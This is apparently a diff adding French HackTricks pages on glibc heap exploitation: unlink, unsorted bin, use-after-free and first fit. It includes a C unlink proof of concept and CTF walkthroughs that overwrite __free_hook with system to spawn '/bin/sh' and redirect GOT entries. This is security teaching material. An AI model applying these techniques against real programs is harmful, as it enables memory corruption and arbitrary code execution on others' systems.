<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## Informations de base
Lorsque cette attaque a été découverte, elle permettait principalement un WWW (Write What Where), cependant, certaines **vérifications ont été ajoutées** rendant la nouvelle version de l'attaque plus intéressante et plus complexe et **inutile**.
### Exemple de code :
<details>
<summary>Code</summary>
```c
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};
int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0;
}
```
</details>
* L'attaque ne fonctionne pas si les tcaches sont utilisés (après 2.26)
### Objectif
Cette attaque permet de **changer un pointeur vers un chunk pour le faire pointer 3 adresses avant lui-même**. Si ce nouvel emplacement (alentours de l'endroit où se trouvait le pointeur) contient des informations intéressantes, comme d'autres allocations contrôlables / la pile..., il est possible de les lire/écraser pour causer un plus grand préjudice.
* Si ce pointeur était situé dans la pile, car il pointe maintenant 3 adresses avant lui-même et que l'utilisateur peut potentiellement le lire et le modifier, il sera possible de divulguer des informations sensibles de la pile ou même de modifier l'adresse de retour (peut-être) sans toucher au canary
* Dans les exemples de CTF, ce pointeur est situé dans un tableau de pointeurs vers d'autres allocations, ce qui permet de le faire pointer 3 adresses avant et de pouvoir le lire et l'écrire, il est possible de faire pointer les autres pointeurs vers d'autres adresses.\
Comme potentiellement l'utilisateur peut également lire/écrire les autres allocations, il peut divulguer des informations ou écraser de nouvelles adresses à des emplacements arbitraires (comme dans la GOT).
### Prérequis
* Un certain contrôle dans une mémoire (par exemple la pile) pour créer quelques chunks en donnant des valeurs à certaines des attributs.
* Fuite de pile pour définir les pointeurs du faux chunk.
### Attaque
* Il y a quelques chunks (chunk1 et chunk2)
* L'attaquant contrôle le contenu de chunk1 et les en-têtes de chunk2.
* Dans chunk1, l'attaquant crée la structure d'un faux chunk :
* Pour contourner les protections, il s'assure que le champ `size` est correct pour éviter l'erreur : `corrupted size vs. prev_size while consolidating`
* et les champs `fd` et `bk` du faux chunk pointent là où le pointeur de chunk1 est stocké avec des décalages de -3 et -2 respectivement, donc `fake_chunk->fd->bk` et `fake_chunk->bk->fd` pointent vers la position en mémoire (pile) où l'adresse réelle de chunk1 est située :
<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
* Les en-têtes du chunk2 sont modifiés pour indiquer que le chunk précédent n'est pas utilisé et que la taille est la taille du faux chunk contenu.
* Lorsque le deuxième chunk est libéré, alors ce faux chunk est désenchaîné se produisant :
* `fake_chunk->fd->bk` = `fake_chunk->bk`
* `fake_chunk->bk->fd` = `fake_chunk->fd`
* Auparavant, il a été fait en sorte que `fake_chunk->fd->bk` et `fake_chunk->fd->bk` pointent vers le même endroit (l'emplacement dans la pile où `chunk1` était stocké, donc c'était une liste chaînée valide). Comme **les deux pointent vers le même emplacement**, seul le dernier (`fake_chunk->bk->fd = fake_chunk->fd`) aura **effet**.
* Cela va **écraser le pointeur vers chunk1 dans la pile à l'adresse (ou octets) stockée 3 adresses avant dans la pile**.
* Par conséquent, si un attaquant pouvait contrôler à nouveau le contenu du chunk1, il pourra **écrire dans la pile** en mesure de potentiellement écraser l'adresse de retour en sautant le canary et de modifier les valeurs et les points des variables locales. Même en modifiant à nouveau l'adresse de chunk1 stockée dans la pile vers un emplacement différent où si l'attaquant pouvait contrôler à nouveau le contenu de chunk1, il pourra écrire n'importe où.
* Notez que cela était possible car les **adresses sont stockées dans la pile**. Le risque et l'exploitation peuvent dépendre de **l'endroit où les adresses du faux chunk sont stockées**.
<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
## Références
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
* Bien qu'il soit étrange de trouver une attaque de désenchaînement même dans un CTF, voici quelques writeups où cette attaque a été utilisée :
* Exemple de CTF : [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
* Dans cet exemple, au lieu de la pile, il y a un tableau d'adresses malloc'ées. L'attaque de désenchaînement est effectuée pour pouvoir allouer un chunk ici, permettant ainsi de contrôler les pointeurs du tableau d'adresses malloc'ées. Ensuite, il y a une autre fonctionnalité qui permet de modifier le contenu des chunks dans ces adresses, ce qui permet de pointer des adresses vers la GOT, de modifier les adresses de fonction pour obtenir des fuites de libc et RCE.
* Autre exemple de CTF : [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
* Tout comme dans l'exemple précédent, il y a un tableau d'adresses d'allocations. Il est possible d'effectuer une attaque de désenchaînement pour faire pointer l'adresse de la première allocation quelques positions avant le début du tableau et d'écraser ensuite cette allocation à la nouvelle position. Par conséquent, il est possible d'écraser les pointeurs d'autres allocations pour pointer vers la GOT de atoi, l'imprimer pour obtenir une fuite de libc, puis écraser atoi GOT avec l'adresse d'un one gadget.
* Exemple de CTF avec des fonctions malloc et free personnalisées qui exploitent une vulnérabilité très similaire à l'attaque de désenchaînement : [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
* Il y a un débordement qui permet de contrôler les pointeurs FD et BK du malloc personnalisé qui sera (personnalisé) libéré. De plus, le tas a le bit exec, il est donc possible de divulguer une adresse de tas et de pointer une fonction de la GOT vers un chunk de tas avec un shellcode à exécuter.
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez** 💬 le **groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -0,0 +1,95 @@
# Attaque de la liste non triée
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
## Informations de base
Pour plus d'informations sur ce qu'est une liste non triée, consultez cette page :
{% content-ref url="bins-and-memory-allocations.md" %}
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
{% endcontent-ref %}
Les listes non triées peuvent écrire l'adresse de `unsorted_chunks (av)` dans l'adresse `bk` du chunk. Par conséquent, si un attaquant peut **modifier l'adresse du pointeur bk** dans un chunk à l'intérieur de la liste non triée, il pourrait être en mesure d'**écrire cette adresse dans une adresse arbitraire** ce qui pourrait être utile pour divulguer des adresses de libc ou contourner certaines défenses.
Donc, fondamentalement, cette attaque permet de **écraser une adresse arbitraire avec un grand nombre** (une adresse qui pourrait être une adresse de tas ou une adresse de libc) comme une adresse de pile qui pourrait être divulguée ou une restriction comme la variable globale **`global_max_fast`** pour permettre de créer des bacs rapides avec des tailles plus grandes (et passer d'une attaque de liste non triée à une attaque de bac rapide).
{% hint style="success" %}
En examinant l'exemple fourni dans [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle) et en utilisant 0x4000 et 0x5000 au lieu de 0x400 et 0x500 comme tailles de chunk (pour éviter les tcaches), il est possible de voir que de nos jours l'erreur **`malloc(): unsorted double linked list corrupted`** est déclenchée.
Par conséquent, cette attaque de liste non triée (parmi d'autres vérifications) nécessite également de pouvoir corriger la liste doublement chaînée pour contourner cela `victim->bck->fd == victim` ou non `victim->fd == av (arène)`. Cela signifie que l'adresse où nous voulons écrire doit avoir l'adresse du faux chunk dans sa position `fd` et que le faux chunk `fd` pointe vers l'arène.
{% endhint %}
{% hint style="danger" %}
Notez que cette attaque corrompt la liste non triée (donc aussi petite et grande). Nous ne pouvons donc **utiliser que des allocations du bac rapide maintenant** (un programme plus complexe pourrait effectuer d'autres allocations et planter), et pour déclencher cela, nous devons **allouer la même taille ou le programme plantera.**
Notez que rendre **`global_max_fast`** plus grand pourrait aider dans ce cas en faisant confiance au bac rapide pour gérer toutes les autres allocations jusqu'à ce que l'exploit soit terminé.
{% endhint %}
Le code de [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/unsorted\_explanation/index.html) l'explique très bien, bien que si vous modifiez les mallocs pour allouer suffisamment de mémoire pour ne pas aboutir à un tcache, vous verrez que l'erreur précédemment mentionnée apparaît, empêchant cette technique : **`malloc(): unsorted double linked list corrupted`**
## Attaque d'Infoleak de la liste non triée
Il s'agit en fait d'un concept très basique. Les chunks dans la liste non triée vont avoir des pointeurs double pointeurs pour créer le bac. Le premier chunk dans la liste non triée aura en fait les liens **FD** et **BK** **pointant vers une partie de l'arène principale (libc)**.\
Par conséquent, si vous pouvez **mettre un chunk à l'intérieur d'un bac non trié et le lire** (utilisation après libération) ou **l'allouer à nouveau sans écraser au moins 1 des pointeurs** pour ensuite le **lire**, vous pouvez obtenir une **fuite d'informations libc**.
Une [**attaque similaire utilisée dans ce writeup**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html), consistait à abuser d'une structure de 4 chunks (A, B, C et D - D sert uniquement à empêcher la consolidation avec le chunk supérieur) de sorte qu'un débordement de null byte dans B était utilisé pour indiquer que B était inutilisé. De plus, dans B, les données `prev_size` ont été modifiées de sorte que la taille au lieu d'être la taille de B était A+B.\
Ensuite, C a été désalloué et consolidé avec A+B (mais B était toujours utilisé). Un nouveau chunk de taille A a été alloué et les adresses de fuite de libc ont été écrites dans B à partir desquelles elles ont été divulguées.
## Références et autres exemples
* [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#hitcon-training-lab14-magic-heap)
* Le but est de remplacer une variable globale par une valeur supérieure à 4869 pour pouvoir obtenir le drapeau et le PIE n'est pas activé.
* Il est possible de générer des chunks de tailles arbitraires et il y a un débordement de tas avec la taille désirée.
* L'attaque commence en créant 3 chunks : chunk0 pour exploiter le débordement, chunk1 pour être débordé et chunk2 pour que le chunk supérieur ne consolide pas les précédents.
* Ensuite, chunk1 est libéré et chunk0 est débordé pour que le pointeur `bk` de chunk1 pointe vers : `bk = magic - 0x10`
* Ensuite, chunk3 est alloué avec la même taille que chunk1, ce qui déclenchera l'attaque de la liste non triée et modifiera la valeur de la variable globale, permettant ainsi d'obtenir le drapeau.
* [**https://guyinatuxedo.github.io/31-unsortedbin\_attack/0ctf16\_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/0ctf16\_zerostorage/index.html)
* La fonction de fusion est vulnérable car si les deux index passés sont les mêmes, elle realloc dessus puis la libère mais renvoie un pointeur vers cette région libérée qui peut être utilisée.
* Par conséquent, **2 chunks sont créés** : **chunk0** qui sera fusionné avec lui-même et chunk1 pour empêcher la consolidation avec le chunk supérieur. Ensuite, la **fonction de fusion est appelée avec chunk0** deux fois ce qui provoquera une utilisation après libération.
* Ensuite, la fonction **`view`** est appelée avec l'index 2 (qui est l'index du chunk utilisé après libération), ce qui va **divulguer une adresse libc**.
* Comme le binaire a des protections pour allouer uniquement des tailles de malloc plus grandes que **`global_max_fast`** donc aucun fastbin n'est utilisé, une attaque de liste non triée va être utilisée pour écraser la variable globale `global_max_fast`.
* Ensuite, il est possible d'appeler la fonction d'édition avec l'index 2 (le pointeur utilisé après libération) et d'écraser le pointeur `bk` pour pointer vers `p64(global_max_fast-0x10)`. Ensuite, en créant un nouveau chunk, l'adresse de libération compromise précédemment (0x20) va **déclencher l'attaque de la liste non triée** en écrasant le `global_max_fast` avec une valeur très grande, permettant maintenant de créer des chunks dans les bacs rapides.
* Ensuite, une **attaque de bac rapide** est effectuée :
* Tout d'abord, il est découvert qu'il est possible de travailler avec des **chunks rapides de taille 200** à l'emplacement de **`__free_hook`** :
* <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
* Si nous parvenons à obtenir un chunk rapide de taille 0x200 à cet emplacement, il sera possible de remplacer un pointeur de fonction qui sera exécuté
* Pour cela, un nouveau chunk de taille `0xfc` est créé et la fonction fusionnée est appelée avec ce pointeur deux fois, de cette manière nous obtenons un pointeur vers un chunk libéré de taille `0xfc*2 = 0x1f8` dans le fast bin.
* Ensuite, la fonction edit est appelée dans ce chunk pour modifier l'adresse **`fd`** de ce fast bin pour pointer vers la fonction **`__free_hook`** précédente.
* Ensuite, un chunk de taille `0x1f8` est créé pour récupérer du fast bin le chunk inutile précédent, puis un autre chunk de taille `0x1f8` est créé pour obtenir un chunk fast bin dans le **`__free_hook`** qui est écrasé avec l'adresse de la fonction **`system`**.
* Enfin, un chunk contenant la chaîne `/bin/sh\x00` est libéré en appelant la fonction delete, déclenchant la fonction **`__free_hook`** qui pointe vers system avec `/bin/sh\x00` comme paramètre.
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html)
* Un autre exemple d'abus d'un débordement de 1B pour consolider des chunks dans le unsorted bin et obtenir une fuite d'informations libc, puis effectuer une attaque fast bin pour écraser le crochet malloc avec une adresse one gadget
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -0,0 +1,44 @@
# Utilisation après libération
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
## Informations de base
Comme son nom l'indique, cette vulnérabilité se produit lorsqu'un programme **alloue de l'espace** dans le tas pour un objet, **écrit** des informations, le **libère** apparemment car il n'est plus nécessaire, puis y **accède à nouveau**.
Le problème ici est que ce n'est pas illégal (il n'y aura **pas d'erreurs**) lorsque de la **mémoire libérée est accédée**. Ainsi, si le programme (ou l'attaquant) parvient à **allouer la mémoire libérée et à stocker des données arbitraires**, lorsque la mémoire libérée est accédée à partir du pointeur initial, ces données auront été écrasées, provoquant une **vulnérabilité qui dépendra de la sensibilité des données** qui étaient initialement stockées (si c'était un pointeur d'une fonction qui devait être appelée, un attaquant pourrait le contrôler).
### Attaque First Fit
Une attaque First Fit cible la manière dont certains allocateurs de mémoire, comme dans glibc, gèrent la mémoire libérée. Lorsque vous libérez un bloc de mémoire, il est ajouté à une liste, et les nouvelles demandes de mémoire proviennent de cette liste à partir de la fin. Les attaquants peuvent utiliser ce comportement pour manipuler **quels blocs de mémoire sont réutilisés, potentiellement en prenant le contrôle sur eux**. Cela peut entraîner des problèmes de "utilisation après libération", où un attaquant pourrait **modifier le contenu de la mémoire qui est réallouée**, créant un risque de sécurité.\
Consultez plus d'informations dans :
{% content-ref url="first-fit.md" %}
[first-fit.md](first-fit.md)
{% endcontent-ref %}
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>

View file

@ -0,0 +1,72 @@
# First Fit
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
## **First Fit**
Lorsque vous libérez de la mémoire dans un programme utilisant glibc, différents "bins" sont utilisés pour gérer les morceaux de mémoire. Voici une explication simplifiée de deux scénarios courants : les bacs non triés et les fastbins.
### Bacs non triés
Lorsque vous libérez un morceau de mémoire qui n'est pas un morceau rapide, il va dans le bac non trié. Ce bac agit comme une liste où les nouveaux morceaux libérés sont ajoutés à l'avant (la "tête"). Lorsque vous demandez un nouveau morceau de mémoire, l'allocateur regarde le bac non trié depuis l'arrière (la "queue") pour trouver un morceau suffisamment grand. Si un morceau du bac non trié est plus grand que ce dont vous avez besoin, il est divisé, la partie avant étant renvoyée et la partie restante restant dans le bac.
Exemple :
* Vous allouez 300 octets (`a`), puis 250 octets (`b`), libérez `a` et demandez à nouveau 250 octets (`c`).
* Lorsque vous libérez `a`, il va dans le bac non trié.
* Si vous demandez ensuite à nouveau 250 octets, l'allocateur trouve `a` à la queue et le divise, renvoyant la partie qui correspond à votre demande et conservant le reste dans le bac.
* `c` pointera vers le `a` précédent et sera rempli avec les `a`.
```c
char *a = malloc(300);
char *b = malloc(250);
free(a);
char *c = malloc(250);
```
### Fastbins
Les fastbins sont utilisés pour de petits morceaux de mémoire. Contrairement aux bacs non triés, les fastbins ajoutent de nouveaux morceaux à la tête, créant un comportement de dernier entré, premier sorti (LIFO). Si vous demandez un petit morceau de mémoire, l'allocateur le prendra à partir de la tête du fastbin.
Exemple :
* Vous allouez quatre morceaux de 20 octets chacun (`a`, `b`, `c`, `d`).
* Lorsque vous les libérez dans n'importe quel ordre, les morceaux libérés sont ajoutés à la tête du fastbin.
* Si vous demandez ensuite un morceau de 20 octets, l'allocateur renverra le morceau libéré le plus récemment à partir de la tête du fastbin.
```c
char *a = malloc(20);
char *b = malloc(20);
char *c = malloc(20);
char *d = malloc(20);
free(a);
free(b);
free(c);
free(d);
a = malloc(20); // d
b = malloc(20); // c
c = malloc(20); // b
d = malloc(20); // a
```
## Autres références et exemples
* [**https://heap-exploitation.dhavalkapil.com/attacks/first\_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first\_fit)
* [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
* ARM64. Utilisation après libération : Générer un objet utilisateur, le libérer, générer un objet qui récupère le morceau libéré et permet d'écrire dedans, **écrasant la position du mot de passe de l'utilisateur** du précédent. Réutiliser l'utilisateur pour **contourner la vérification du mot de passe**
* [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use\_after\_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use\_after\_free/#example)
* Le programme permet de créer des notes. Une note aura les informations de la note dans un malloc(8) (avec un pointeur vers une fonction qui pourrait être appelée) et un pointeur vers un autre malloc(\<size>) avec le contenu de la note.
* L'attaque consisterait à créer 2 notes (note0 et note1) avec des contenus malloc plus grands que la taille des infos de la note, puis à les libérer pour qu'elles entrent dans le fast bin (ou tcache).
* Ensuite, créer une autre note (note2) avec une taille de contenu de 8. Le contenu va être dans note1 car le morceau va être réutilisé, où nous pourrions modifier le pointeur de fonction pour pointer vers la fonction win et ensuite Utiliser-Après-Libération la note1 pour appeler le nouveau pointeur de fonction.
* [**https://guyinatuxedo.github.io/26-heap\_grooming/pico\_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap\_grooming/pico\_areyouroot/index.html)
* Il est possible d'allouer de la mémoire, écrire la valeur désirée, la libérer, la réallouer et comme les données précédentes sont toujours là, elles seront traitées selon la nouvelle structure attendue dans le morceau, ce qui rend possible de définir la valeur ou d'obtenir le drapeau.
* [**https://guyinatuxedo.github.io/26-heap\_grooming/swamp19\_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap\_grooming/swamp19\_heapgolf/index.html)
* Dans ce cas, il est nécessaire d'écrire 4 à l'intérieur d'un morceau spécifique qui est le premier à être alloué (même après avoir forcé la libération de tous). À chaque nouveau morceau alloué, son numéro dans l'index du tableau est stocké. Ensuite, allouer 4 morceaux (+ celui initialement alloué), le dernier aura 4 à l'intérieur, les libérer et forcer la réaffectation du premier, qui utilisera le dernier morceau libéré qui est celui avec 4 à l'intérieur.

View file

@ -2,13 +2,13 @@
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
